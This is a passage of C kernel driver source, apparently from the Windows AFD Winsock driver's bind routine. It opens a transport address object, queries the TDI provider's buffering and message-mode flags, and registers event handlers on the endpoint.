OBJ_CASE_INSENSITIVE, // attributes NULL, NULL ); // // Perform the actual open of the address object. // KeAttachProcess( AfdSystemProcess ); status = ZwCreateFile( &endpoint->AddressHandle, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &objectAttributes, &iosb, // returned status information. 0, // block size (unused). 0, // file attributes. FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_CREATE, // create disposition. 0, // create options. ea, eaBufferLength ); AFD_FREE_POOL( ea, AFD_EA_POOL_TAG ); if ( !NT_SUCCESS(status) ) { // // We store the local address in a local before freeing it to // avoid a timing window. // PVOID localAddress = endpoint->LocalAddress; endpoint->LocalAddress = NULL; endpoint->LocalAddressLength = 0; AFD_FREE_POOL( localAddress, AFD_LOCAL_ADDRESS_POOL_TAG ); KeDetachProcess( ); return status; } AfdRecordAddrOpened(); // // Get a pointer to the file object of the address. // status = ObReferenceObjectByHandle( endpoint->AddressHandle, 0L, // DesiredAccess NULL, KernelMode, (PVOID *)&endpoint->AddressFileObject, NULL ); ASSERT( NT_SUCCESS(status) ); AfdRecordAddrRef(); IF_DEBUG(BIND) { KdPrint(( "AfdBind: address file object for endpoint %lx at %lx\n", endpoint, endpoint->AddressFileObject )); } // // Remember the device object to which we need to give requests for // this address object. We can't just use the // fileObject->DeviceObject pointer because there may be a device // attached to the transport protocol. // endpoint->AddressDeviceObject = IoGetRelatedDeviceObject( endpoint->AddressFileObject ); // // Determine whether the TDI provider supports data bufferring. // If the provider doesn't, then we have to do it. // if ( (endpoint->TransportInfo->ProviderInfo.ServiceFlags & TDI_SERVICE_INTERNAL_BUFFERING) != 0 ) { endpoint->TdiBufferring = TRUE; } else { endpoint->TdiBufferring = FALSE; } // // Determine whether the TDI provider is message or stream oriented. // if ( (endpoint->TransportInfo->ProviderInfo.ServiceFlags & TDI_SERVICE_MESSAGE_MODE) != 0 ) { endpoint->TdiMessageMode = TRUE; } else { endpoint->TdiMessageMode = FALSE; } // // Remember that the endpoint has been bound to a transport address. // endpoint->State = AfdEndpointStateBound; // // Set up indication handlers on the address object. Only set up // appropriate event handlers--don't set unnecessary event handlers. // status = AfdSetEventHandler( endpoint->AddressFileObject, TDI_EVENT_ERROR, AfdErrorEventHandler, endpoint ); #if DBG if ( !NT_SUCCESS(status) ) { DbgPrint( "AFD: Setting TDI_EVENT_ERROR failed: %lx\n", status ); } #endif if ( IS_DGRAM_ENDPOINT(endpoint) ) { endpoint->EventsActive = AFD_POLL_SEND; IF_DEBUG(EVENT_SELECT) { KdPrint(( "AfdBind: Endp %08lX, Active %08lX\n", endpoint, endpoint->EventsActive )); } status = AfdSetEventHandler( endpoint->AddressFileObject, TDI_EVENT_RECEIVE_DATAGRAM, AfdReceiveDatagramEventHandler, endpoint ); #if DBG if ( !NT_SUCCESS(status) ) { DbgPrint( "AFD: Setting TDI_EVENT_RECEIVE_DATAGRAM failed: %lx\n", status ); } #endif } else {